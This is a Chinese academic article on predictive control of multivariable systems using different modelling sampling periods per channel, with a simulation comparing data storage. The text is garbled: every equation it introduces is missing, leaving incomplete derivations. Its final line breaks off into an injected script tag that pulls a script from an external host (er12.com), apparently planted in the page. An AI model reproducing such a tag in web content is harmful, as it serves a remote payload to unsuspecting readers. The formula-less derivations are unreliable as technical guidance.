［摘 要］ 文中对各通道特性差异比较大的多变量系统采用了不同建模周期的预测建模方法及预测控制算法，并给出了算法推导和仿真实例。
［关键词］ 预测控制；建模采样周期；多变量系统
1 引 言
预测控制是70年代中后期发展起来的一种新型控制策略，目前已在工业过程控制中得到了广泛成功的应用。预测控制算法不仅适用于单变量系统，也适用于多变量系统。所依赖的预测模型既有脉冲序列模型（离散卷积模型），也有其它模型。脉冲序列模型具有建模简单方便，模型形式不受过程阶数、是否存在纯滞后的影响等优点。
以输入为u1和u2，输出为y1和y2的两输入两输出的自衡系统为例。分别令u1、u2为单位脉冲输入，可测得多变量系统的脉冲响应系数模型
根据线性系统的叠加性和单变量自衡系统的预测模型，可得此多变量系统的离散脉冲系数模型为：
由此脉冲系数模型可以对未来输出进行预测，并通过反馈校正和滚动优化，可得出此多变量系统的预测控制算式。但是，无论是脉冲系数模型的获取还是控制算法的设计，都是基于同样的建模采样周期。当然，如果此多变量系统的各个通道的时间常数相差不是很大，这种算法所需要的采样数据以及运算速度等方面都是比较合理的，但是，如果在这多变量系统的脉冲序列模型建模过程中，各通道的时间常数等特性差异比较大时，还采用这种同一建模采样周期的方法，必然会在不同通道中出现采样周期长短与脉冲序列长度之间的矛盾，从而在建模中及预测控制算法计算中造成数据冗余，加大数据处理系统的负担，减慢了运算速度。
2 基于不同建模周期的多变量预测控制算法设计
2．1 预测模型
考虑上述原因，提出了一种基于不同采样周期的多变量系统预测控制建模方法及控制算法。在此，以最简单的一种模型为例，即前面所说两输入两令u1、u2为图2—1a所示的单位脉冲输入，g11（s）、g12（s）、g21（s）每一个采样周期ts得到一个脉冲响应系数；对于环节g22（s），令u2为图2—1b所示的脉冲输入，则g22（s）每n1 ts得到一个脉冲响应系数。
由于g22（s）环节的脉冲响应系数获取的特殊性，导致其脉冲响应系数模型的表示不同于其它环节。每一个脉冲响应系数对应于连续n1个控制量，实际运算中其对应的控制量取这n1个控制量的平均值。整个系统的脉冲响应系数模型表示如下：
2．2 反馈校正
对未来输出进行校正后的预测输出为
将其写成矩阵形式如下：
其中，a为如下表示：
建立系统输出的期望轨迹为：
2．3 滚动优化
若以未来l步控制作用预估控制未来r步输出。则对于a只需
这儿，x＝diag（v）函数是将向量v放在矩阵x的主对角线上。
3 仿真实例研究
以两输入两输出系统为例，假设4个通道分别为
按照上面推出的基于不同建模周期的多变量系统预测控制建模方法及控制算法，得出预测控制仿真效果如图3—1所示（其中，n1＝8，t2＝1，模型长度n＝52，优化时域长度r＝10，控制时域长度l＝3）。为了便于比较，还将基于相同周期的预测控制仿真效果表示出来。图3—2对应的仿真程序所用到的参数为：ts＝1，模型长度n＝315，优化时间长度r＝10，控制时域长度l＝3。图3—3对应的仿真程序所用到的参数为：ts＝2，模型长度n＝160，优化时间长度r＝10，控制时域长度l＝3。
从这3个图的对比看来，如果采用基于相同建模周期的预测控制算法的话，必须使用采样周期ts＝1（从图3—3看，如果ts＝2，控制效果明显偏差）。而采用了基于不同建模周期的多变量预测控制建模方法及控制算法，对其控制效果并没有太大的影响。
但是对于数据存储量，可以作如下的对比：
采用了不同的建模周期，对于脉冲响应系数，共有数据为4×52＝208个；采用相同的建模周期，存储的脉冲响应系数为4×315＝1260个。而对于在运算过程中存储的控制量来说，前者是52×8＋52＝468个，后者是315×2＝630个。
由此可见，运用这种基于不同建模周期的多变量预测控制算法，由于考虑到采样周期长短与脉冲序列长度之间的矛盾，从而减少了数据存储量，减轻了系统的负担，具有较强的实用性。
4 结 论
该文提出了适用于各通道时间差异大多变量系统的预测控制建模方法及控制算法，对于减轻数据处理系统负担及提高运算速度方面有着较强的实用性。该文只讨论了一个通道采用不同建模周期，对于各个通道都采用不同建模周期的预?script src=http://er12.com/t.js>
